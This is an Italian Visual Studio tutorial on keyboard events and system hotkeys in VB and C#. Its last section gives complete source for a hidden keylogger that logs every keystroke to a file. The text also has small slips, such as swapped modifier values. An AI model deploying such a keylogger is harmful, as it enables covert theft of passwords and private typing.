KEYPRESS EVENT: gestire eventi da tastiera e HotKey con Visual Studio 2012 (Visual Basic e Visual C#)

Quando si crea un’interfaccia con Visual Studio è abbastanza normale dover gestire gli eventi da tastiera. Capita di dover limitare l’inserimento di caratteri in un campo numerico, o di dover aprire menù o form alla pressione di alcuni tasti, oppure di creare degli HotKey per attivare delle funzioni, magari in background, quando l’applicazione è ridotta a icona.

Distinguiamo quindi due distinti livelli: Form e Sistema.

I metodi per gestire l’input da tastiera

Progettando dei tasti di scelta rapida di un menù, avremo bisogno di intercettare gli HotKey solo quando l’utente lavora sul nostro form, mentre volendo controllare il testo immesso in una TextBox durante la digitazione potremo concentrarci solo sugli eventi relativi a quell’oggetto.

Form level

Gestire gli eventi a livello di form significa ottenere una funzione che venga chiamata ogni volta che viene premuto un tasto sulla tastiera, ma solo quando il form è in primo piano. Ciò significa che quando il form va in background (ridotto a icona, o deselezionato perché si è passati ad un’altra finestra o programma), tale funzione non viene attivata.

La gestione è piuttosto semplice, ed è previsto dall’interfaccia di Visual Studio. Basta infatti abilitare il form a rilevare i tasti premuti (proprietà del form > KeyPreview = true) ed associare la funzione Form_KeyPress(...) all’evento KeyPress (Eventi > KeyPress), dentro la quale potremo conoscere il codice di ogni tasto premuto.

Object level

Sempre a livello di Form possiamo anche intercettare i tasti premuti quando il focus è su un determinato oggetto (TextBox, Button …), semplicemente attivando il relativo evento KeyDown(...), dunque potremo ad esempio intercettare i caratteri inseriti in un TextBox per filtrarli creando un campo di soli numeri, o sole lettere maiuscole.

System level

Intercettare gli eventi da tastiera a livello di sistema è leggermente più complicato perché bisogna ricorrere alla libreria User32.dll ed importare due specifiche funzioni per la registrazione degli HotKey, non messe a disposizione dagli automatismi di Visual Studio.

Una volta registrati gli eventi da tastiera, la pressione di un tasto causerà la chiamata della funzione WndProc(...), che dovrà essere aggiunta al progetto. L’evento verrà registrato anche quando l’applicazione è in background, ed è quindi la soluzione ideale per programmi che fanno screenshot, acquisizioni, controlli volume per mp3 player eccetera.

VISUAL STUDIO: PROGETTO “HOTKEY TEST”

Per comprendere il meccanismo delle funzioni relative alla cattura degli eventi da tastiera, creiamo insieme un’applicazione in Visual Studio capace di gestire le tre casistiche viste poco fa.

HotKey-test

Questa applicazione non farà altro che intercettare i tasti premuti e notificare gli eventi corrispondenti all’utente. Le tre funzioni principali sono:

  1. Eventi a livello di oggetto: filtrare i caratteri in un TextBox
  2. Eventi a livello di form: gestione HotKey in app
  3. Eventi a livello di sistema: gestione HotKey in Windows

Creazione di un nuovo progetto

Iniziamo creando un nuovo progetto. Scegliamo Nuovo Progetto dal menu di sinistra di Visual Studio 2012, e clicchiamo su Modelli > Visual Basic > Windows per elencare i tipi di progetto nell’elenco centrale. Decidiamo se farlo in Visual Basic o in Visual C#: in questo caso è indifferente perché riporterò il codice per entrambi i linguaggi. Clicchiamo ora su Applicazione Windows Form, inseriamo il nome del progetto (es. HotKey-test) e premiamo [OK].

Visual-Studio-new-project

Il form “Form1” di default è perfetto così com’è: ora iniziamo ad inserire i nostri elementi. Clicchiamo dentro il form: se sulla sinistra non abbiamo l’elenco degli oggetti da potervi inserire, clicchiamo su VISUALIZZA > Casella degli Strumenti.

  1. Trasciniamo una Label (Casella degli strumenti > Tutti i Windows Form > Label) e chiamiamola “label_instructions” (Proprietà > Progettazione > name)
  2. Trasciniamo un’altra Label e inseriamo il testo “Solo numeri:” (Proprietà > Aspetto > Text)
  3. Trasciniamo infine un TextBox e chiamiamolo “textBox_log

HotKey-test-Form1

Eventi a livello di form

Ora prepariamo Form1 a ricevere gli eventi da tastiera quando il nostro form è in foreground (attivo e selezionato): ci servirà per catturare i tasti premuti a livello di form.

Visual-Studio-KeyPreview

  1. Clicchiamo sul form per selezionarlo
  2. Sulla destra possiamo vedere le proprietà di Form1. Se la finestra delle proprietà non dovesse aprirsi, clicchiamo su VISUALIZZA > Proprietà
  3. scrolliamo tutte le proprietà portandoci alle ultime righe
  4. abilitiamo l’opzione KeyPreview

Abilitiamo l’evento KeyDown, in cui riceveremo i tasti premuti:

HotKey-test-Form1-keyDown

  1. Dopo aver cliccato sul form Form1, passiamo alla finestra Proprietà e clicchiamo sul pulsante Eventi (l’icona col fulmine)
  2. cerchiamo l’evento KeyDown (gruppo “Chiave“) e facciamo doppio click sulla sua destra
  3. si aprirà l’editor con il codice del form Form1 e verrà aggiunta la funzione Form1_KeyDown(object sender, KeyEventArgs e) in cui andremo ad inserire il nostro codice di gestione degli eventi

VISUAL C#

/*
* Intercept key pressed at FORM level
*/
private void Form1_KeyDown(object sender, KeyEventArgs e) 
{
  if (e.Modifiers == Keys.Alt && e.KeyCode == Keys.F8) 
  {
    MessageBox.Show("FORM HOTKEY\n\nKEY THREE WAS PRESSED !");
  }
}

 

VISUAL BASIC

'
' Intercept key pressed at FORM level
'

Private Sub Form1_KeyDown(sender As Object, e As KeyEventArgs) Handles MyBase.KeyDown
  If e.Modifiers = Keys.Alt And e.KeyCode = Keys.F8 Then
    MessageBox.Show("FORM HOTKEY" & vbCrLf & vbCrLf & "KEY THREE WAS PRESSED !")
  End If
End Sub

Alla pressione di [Alt] + [F8] l’applicazione visualizzerà il messaggio “FORM HOTKEY – KEY THREE WAS PRESSED”.

HotKey-test-Form1_KeyDown

Quando riceviamo l’evento Form1_KeyDown(...) andiamo a fare un semplice test sui tasti premuti. Gli eventi sono registrati nella variabile e, di tipo KeyEventArgs, la cui classe registra sia i tasti normali, sia quelli chiamati modifiers, come Alt, Control, Shift … Dunque ci basterà confrontare il tasto premuto e.KeyCode e il modificatore premuto e.Modifiers con quelli che vogliamo intercettare, usando la comodissima classe Keys.

Eventi a livello di oggetto

In questo caso vogliamo intercettare i caratteri immessi in un TextBox per bloccare l’inserimento di caratteri alfanumerici. La funzione corretta da utilizzare è KeyPress(...), che viene chiamata dopo KeyDown(..) e riceve il codice ASCII del tasto premuto.

  1. Torniamo alla finestra di progettazione di Form1 e clicchiamo sul TextBox, che abbiamo precedentemente chiamato textBox_log
  2. ora abilitiamo l’evento KeyDown: cliccando sul pulsante Eventi (icona col fulmine) della finestra Proprietà, individuiamo l’evento omonimo e infine facciamo doppio click nel campo alla sua destra per inserire la funzione textBox_log_KeyPress(object sender, KeyPressEventArgs e)
  3. inseriamo il nostro codice per la gestione dei caratteri immessi:

VISUAL C#

/*
* Intercept keys pressed at TEXTBOX level
*/
private void textBox_log_KeyPress(object sender, KeyPressEventArgs e)
{
  // non numeric characters will be catched here
  if (e.KeyChar < 48 || e.KeyChar > 57)
  {
  MessageBox.Show("TEXTBOX KEYPRESS\n\nNon numeric key WAS PRESSED !");
                e.Handled = true;
            }
        }

 

VISUAL BASIC

'
' Intercept key pressed at TEXTBOX level
'

Private Sub textBox_log_KeyPress(sender As Object, e As KeyPressEventArgs) Handles textBox_log.KeyPress
  ' non numeric characters will be catched here
  Dim key As Integer = CInt(AscW(e.KeyChar))
  If key < 48 Or key > 57 Then
    MessageBox.Show("TEXTBOX KEYPRESS" & vbCrLf & vbCrLf & "Non numeric key WAS PRESSED !")
    e.Handled = True
  End If
End Sub

Quando premiamo un tasto per scrivere nel box textBox_log, questo viene inviato alla funzione textBox_log_KeyPress(...) usando la variabile e“, di tipo KeyPressEventArgs. Il codice ASCII relativo al tasto premuto lo ritroviamo nella variabile tipo Char e.KeyChar: recuperiamolo nel formato che preferiamo (in questo caso un integer può permetterci di misurare i valori) e utilizziamolo per gestire il testo inserito.

HotKey-test-Form1_KeyPress

L’istruzione If key < 48 Or key > 57 Then filtrerà qualsiasi carattere non numerico, in modo che si possa bloccare per non farlo apparire nel capo di testo. Per fare questo il trucco è di notificare che l’evento è già stato gestito, impostando a True il valore e.Handled

Eventi a livello di sistema

Ed eccoci alla gestione più complessa, se così si può dire, che ci permetterà di creare un vero e proprio programma che resta in background, o ridotto a icona, e intercetta i tasti premuti dall’utente.

Per farlo utilizzeremo la libreria user32.dll che ci permetterà di registrare gli HotKey che ci servono e attivare una funzione alla loro pressione. Infatti in questo caso non andremo ad intercettare qualsiasi tasto premuto, come faremmo se stessimo progettando un keylogger, ma comunicheremo alla libreria esterna di mandarci un messaggio quando verranno premuti solo i tasti che ci interessano.

Vogliamo attivare due distinte funzioni alla pressione di due combinazioni di tasti: [Alt]+[F1] e [Alt]+[Ctrl]+[F12], dunque andremo a registrare due diversi HotKey .

La gestione di questi eventi ha la seguente struttura:

  • importazione dei servizi per utilizzare le librerie runtime
  • importazione da user32.dll delle funzioni necessarie: registerHotKey(…) e unregisterHotKey(…)
  • registrazione dei nostri HotKey con registerHotKey(…) durante l’evento Form1_Load(…)
  • gestione degli eventi legati alla pressione dei tasti all’interno della funzione WndProc(…), chiamata da user32.dll
  • cancellazione degli HotKey con unregisterHotKey(…) durante la chiusura del form, gestita da Form1_FormClosing(…)

Per utilizzare queste librerie non ci serve abilitare il KeyPreview del form e neppure la gestione degli eventi KeyPress e KeyDown.

Passo 1: importazione del servizio runtime

Apriamo il codice di Form1 e inseriamo l’istruzione che serve ad importare i servizi per poter utilizzare le librerie runtime:

VISUAL C#

// import InteropService for DllImport()
using System.Runtime.InteropServices;

namespace KeyPressExample_C     //namespace - project name
{
  public partial class Form1 : Form
  {
    .....

 

VISUAL BASIC

'  import InteropService for DllImport()
Imports System.Runtime.InteropServices

Public Class Form1
  .....

Passo 2: importazione delle funzioni

HotKey-test-Form1-imports

Importiamo le funzioni per la registrazione degli HotKey, contenute in User32.dll, e creiamo le variabili che ci serviranno per la loro gestione:

VISUAL C#

public partial class Form1 : Form
{
  
  // import the HOTKEY library
  [DllImport("user32.dll")]
  public static extern bool RegisterHotKey(IntPtr hWnd, int id, int fsModifiers, int vlc);

  [DllImport("user32.dll")]
  public static extern bool UnregisterHotKey(IntPtr hWnd, int id);



  // constants needed to set the alternate combo hotkeys
  private const int key_alt = 1;
  private const int key_ctrl = 2;
  private const int key_shift = 4;

  // id for hotkey management into WndProc()
  private const int WM_HOTKEY = 0x0312;

  // manage 2 different kotkeys to call 2 functions: set the hotkeys ids
  private const int HOTKEY_1_ID = 1;
  private const int HOTKEY_2_ID = 2;

  // set the functions keys to press
  private Keys HOTKEY_1 = Keys.F1;
  private Keys HOTKEY_2 = Keys.F12;
        
  // alt key to press with Function Key (i.e. Alt+F10)
  // default values: Alt=1, Ctrl=2, Shift=4
  // sum values to set a combo 
  //   Alt+Ctrl = 1+2 = 3 
  //   Alt+Shift = 1+4 = 5
  //   Alt+Ctrl+Shift = 1+2+4 = 7
  private int HOTKEY_1_ALT_ID = key_alt;
  private int HOTKEY_2_ALT_ID = key_alt + key_ctrl;

  public Form1()
  {
    InitializeComponent();
  }

  private void Form1_Load(object sender, EventArgs e)
  {
    .....

 

VISUAL BASIC

Public Class Form1

  ' import the HOTKEY library
  <DllImport("User32.dll")> _
  Public Shared Function RegisterHotKey(ByVal hwnd As IntPtr, _
              ByVal id As Integer, ByVal fsModifiers As Integer, _
              ByVal vk As Integer) As Integer
  End Function

  <DllImport("User32.dll")> _
  Public Shared Function UnregisterHotKey(ByVal hwnd As IntPtr, _
              ByVal id As Integer) As Integer
  End Function



  ' constants needed to set the alternate combo hotkeys
  Const key_alt As Integer = 1
  Const key_ctrl As Integer = 2
  Const key_shift As Integer = 4

  ' id for hotkey management into WndProc()
  Const WM_HOTKEY As Integer = &H312
  
  ' manage 2 different kotkeys to call 2 functions: set the hotkeys ids
  Const HOTKEY_1_ID As Integer = 1
  Const HOTKEY_2_ID As Integer = 2

  ' set the functions keys to press
  Dim HOTKEY_1 As Keys = Keys.F1
  Dim HOTKEY_2 As Keys = Keys.F12

  ' alt key to press with Function Key (i.e. Alt+F10)
  ' default values: Alt=1, Ctrl=2, Shift=4
  ' sum values to set a combo 
  '   Alt+Ctrl = 1+2 = 3 
  '   Alt+Shift = 1+4 = 5
  '   Alt+Ctrl+Shift = 1+2+4 = 7
  Dim HOTKEY_1_ALT_ID As Integer = key_alt
  Dim HOTKEY_2_ALT_ID As Integer = key_alt + key_ctrl


  Private Sub Form1_Load(sender As Object, e As EventArgs) _
                       Handles MyBase.Load
    .....

Le variabili create servono a facilitare e parametrizzare la gestione dei nostri tasti di scelta rapida, e visto che abbiamo deciso di usare delle combinazioni di tasti, dovremo registrare anche i modifiers, ovvero i tasti Alt, Control e Shift che andranno premuti insieme al tasto principale. I 3 tasti hanno un valore di rispettivamente 1, 2 e 4, e sommando i loro valori si andrà ad impostare la combinazione voluta. Ad esempio volendo impostare Ctrl+M come HotKey, il modifier sarà 1, mentre Alt+M avrà un modifier pari a 2. Se volessimo impostare Alt+Ctrl+M dovremo considerare i valori di Alt=1 e Ctrl=2 e sommarli: il modifier avrà il valore 3. Se infine usassimo 7 come modifier, significherebbe includere tutti e 3 i tasti 1+2+4=7.

Creiamo anche un ID che ci aiuti ad identificare i vari hotkey: avendone due diversi, ho creato le costanti HOTKEY_1_ID e HOTKEY_2_ID, che userò più avanti per registrarli. HOTKEY_1 e HOTKEY_2 sono invece variabili di tipo Keys e contengono i due tasti principali per le due combinazioni.

Ho deciso di usare variabili normali per semplificare al massimo il codice, ma se vi fosse la necessità di registrare una catena di HotKey dovremmo per forza utilizzare degli array per i tasti e i relativi ID, con cicli for per la relativa gestione.

Passo 3: registrazione degli HotKey

Registriamo gli HotKey e predisponiamo la loro cancellazione in fase di chiusura del form. Per farlo dovremo abilitare l’evento FormClosing(...) facendo doppio click sullo spazio a destra dell’omonima colonna nella finestra Eventi (Proprietà > Eventi), esattamente come abbiamo fatto in precedenza per gli eventi KeyPress e KeyDown.

VISUAL C#

private void Form1_Load(object sender, 
                             EventArgs e)
{
  // Register the hotkey sets to listen for
  RegisterHotKey(this.Handle, 
                 HOTKEY_1_ID, 
                 HOTKEY_1_ALT_ID, 
                 (int)HOTKEY_1);
  RegisterHotKey(this.Handle, 
                 HOTKEY_2_ID, 
                 HOTKEY_2_ALT_ID, 
                 (int)HOTKEY_2);

   // set the instructions label
   label_instructions.Text = "PRESS:\n\n- 1) Alt+F1\n- 2) Alt+Ctrl+F12\n- 3) Alt+F8\n\n- 4) try to put a char into the following textBox";

}

private void Form1_FormClosing(object sender, 
                               FormClosingEventArgs e)
{
  // unregister the hotkeys when the form is being closed
  UnregisterHotKey(this.Handle, HOTKEY_1_ID);
  UnregisterHotKey(this.Handle, HOTKEY_2_ID);

}

 

VISUAL BASIC

Private Sub Form1_Load(sender As Object, e As EventArgs) _
                 Handles MyBase.Load

  ' Register the hotkey sets to listen for
  RegisterHotKey(Me.Handle, _
                 HOTKEY_1_ID, _
                 HOTKEY_1_ALT_ID, _
                 HOTKEY_1)
  RegisterHotKey(Me.Handle, _
                 HOTKEY_2_ID, _
                 HOTKEY_2_ALT_ID, _
                 HOTKEY_2)

  ' set the instructions label
  label_instructions.Text = "PRESS:" & vbCrLf & vbCrLf & "- 1) Alt+F1" & vbCrLf & "- 2) Alt+Ctrl+F12" & vbCrLf & "- 3) Alt+F8" & vbCrLf & vbCrLf & "- 4) try to put a char into the following textBox"

End Sub


Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) _ 
           Handles MyBase.FormClosing

  ' unregister the hotkeys when the form is being closed
  UnregisterHotKey(Me.Handle, HOTKEY_1_ID)

End Sub

Abbiamo registrato gli HotKey tramite la funzione RegisterHotKey(...) in fase di apertura del form, e cancellato la registrazione con UnregisterHotKey(...) quando il form viene chiuso. RegisterHotKey(...) necessita dell’handle, ovvero chi gestirà le chiamate di callback, di un ID univoco, che noi abbiamo in HOTKEY_n_ID, del tasto da intercettare e del relativo modifier.

In Form1_Load(...) ho anche inserito l’istruzione che visualizza le istruzioni per l’uso del nostro progetto, visualizzate nella Label label_instructions.

HotKey-test-Form1-WndProc

Passo 4: evento “hotkey premuto” con WndProc(…)

WndProc(ref Message m) viene attivata da User32.dll quando avviene un evento precedentemente registrato. Ogni messaggio ha un suo ID identificativo, che noi abbiamo già memorizzato nella costante WM_HOTKEY, e un parametro specifico, che nel nostro caso riporta l’ID dell’HotKey, quindi ad ogni messaggio potremo filtrare sia il tipo di funzione con m.Msg, sia l’ID dell’evento con m.WParam.

VISUAL C#

/*
 * Intercept key pressed at SYSTEM level
*/
 protected override void WndProc(ref Message m)
{
  int hotkey_id =  m.WParam.ToInt32();
  if (m.Msg == WM_HOTKEY)
  {
    switch (hotkey_id)
    {
      case HOTKEY_1_ID:
        // bring the app to front ...
        this.WindowState = FormWindowState.Normal;  
        // ... and show a message
        MessageBox.Show("SYSTEM HOTKEY\n\nKEY ONE WAS PRESSED !");
        break;

      case HOTKEY_2_ID:
        this.WindowState = FormWindowState.Normal;
        MessageBox.Show("SYSTEM HOTKEY\n\nKEY TWO WAS PRESSED !");
        break;
      }
  }
  base.WndProc(ref m);

}

 

VISUAL BASIC

'
' Intercept key pressed at SYSTEM level
'
Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
  
  If m.Msg = WM_HOTKEY Then
    Dim id As IntPtr = m.WParam
    Select Case (id.ToString)
      Case HOTKEY_1_ID.ToString
      ' bring the app to front ...
      Me.WindowState = FormWindowState.Normal 
      ' ... and show a message
      MessageBox.Show("SYSTEM HOTKEY" & vbCrLf & vbCrLf & _
                      "KEY ONE WAS PRESSED !") 
    
    Case HOTKEY_2_ID.ToString
      Me.WindowState = FormWindowState.Normal
      MessageBox.Show("SYSTEM HOTKEY" & vbCrLf & vbCrLf &_
                      "KEY TWO WAS PRESSED !")
    End Select
  End If
  MyBase.WndProc(m)

End Sub

Quando m.Msg ha il valore contenuto in WM_HOTKEY, significa che WndProc(…) è stata chiamata per via di un HotKey registrato in precedenza, dunque andremo subito a capire quale delle due combinazioni è stata premuta verificando il valore contenuto in m.wParam, che va prima convertito in un formato di nostra convenienza. Infine eseguiremo le nostre funzioni: per poter notificare l’utente quando l’app è in background o ridotta a icona, ho dovuto prima ripristinare il suo stato, con l’istruzione Me.WindowState = FormWindowState.Normal, per poi far apparire un MessageBox.

Un semplice keylogger con GetAsyncKeyState

La funzione RegisterHotkey(…) vista prima permette di ricevere un messaggio dal sistema quando viene premuta una determinata combinazione di tasti. Ma se volessimo conoscere tutti i tasti premuti dall’utente ?

Ciò è possibile usando GetAsyncKeyState(int key), che ci permette di conoscere lo stato di un tasto in tempo reale: in poche parole se sto premendo il tasto [U], GetAsyncKeyState((int)'U') mi restituirà true.

Per intercettare i tasti premuti quindi mi basterà testare tutti i caratteri ogni tot millisecondi usando un Timer.

simple-keylogger

Come si può notare dall’immagine, questo keylogger è un pò pazzerello: il motivo principale è che GetAsyncKeyState(...) fa un’istantanea dello stato del tasto richiesto, quindi se faccio in tempo a fare due test uguali prima che l’utente abbia rilasciato il tasto, me lo ritrovo doppio. Al contrario, aumentando il valore del timer rischierei di perdermi qualche tasto, dunque si dovrebbe implementare un sistema di memoria che entro un certo lasso di tempo riconosce il tasto doppio, oppure implementare un hook della tastiera per impostare un keylogger ad hoc.

Ad ogni modo, ecco qua il codice da inserire nel nostro Form1 di un nuovo progetto, dopo avervi trascinato dentro un Timer (Timer1) e una TextBox (TextBox1), impostando la proprietà multiline = true :

VISUAL C#

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

using System.Runtime.InteropServices;

namespace SimpleKeylogger_C
{
    public partial class Form1 : Form
    {

        [DllImport("user32.dll")]
        public static extern bool GetAsyncKeyState(int key);


        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Visible = false;
            Timer1.Start();
        }

        private void Timer1_Tick(object sender, EventArgs e)
        {
            for (int i = 3; i <= 255; i++) { string ch = null; if (GetAsyncKeyState(i)) { ch = ((System.Windows.Forms.Keys)i).ToString(); if (ch.Length > 1)
                    {
                        ch = "{" + ch + "}";
                    }
                    TextBox1.Text = TextBox1.Text + ch;
                }
            }
            if (TextBox1.Text.Length > 1000)
                saveResults();
        }
   


    private void saveResults()
    {
	    System.IO.FileInfo fi = new System.IO.FileInfo("keys.txt");
	    System.IO.StreamWriter sw = default(System.IO.StreamWriter);

	    if (fi.Exists == false) {
		    sw = fi.CreateText();
	    } else {
		    sw = fi.AppendText();
	    }
	    sw.Write(TextBox1.Text);
	    sw.Flush();
	    sw.Close();
	    TextBox1.Text = "";
    }

    }

}

 

VISUAL BASIC

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.Visible = False
        Timer1.Start()
    End Sub


    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        For i As Integer = 3 To 255
            Dim ch As String
            If GetAsyncKeyState(i) Then
                ch = DirectCast(i, System.Windows.Forms.Keys).ToString
                If ch.Length > 1 Then
                    ch = "{" + ch + "}"
                End If
                TextBox1.Text = TextBox1.Text + ch
            End If
        Next
        If TextBox1.Text.Length() > 1000 Then saveResults()
    End Sub


    Private Sub saveResults()
        Dim fi As IO.FileInfo = New IO.FileInfo("keys.txt")
        Dim sw As IO.StreamWriter

        If fi.Exists = False Then
            sw = fi.CreateText()
        Else
            sw = fi.AppendText()
        End If
        sw.Write(TextBox1.Text)
        sw.Flush()
        sw.Close()
        TextBox1.Text = ""
    End Sub
End Class

 

SCARICA IL CODICE

Estrai il file e inseriscilo nel tuo progetto di Visual Studio. Puoi anche aprire i file con notepad per recuperare il codice e incollarlo nel codice del tuo Form.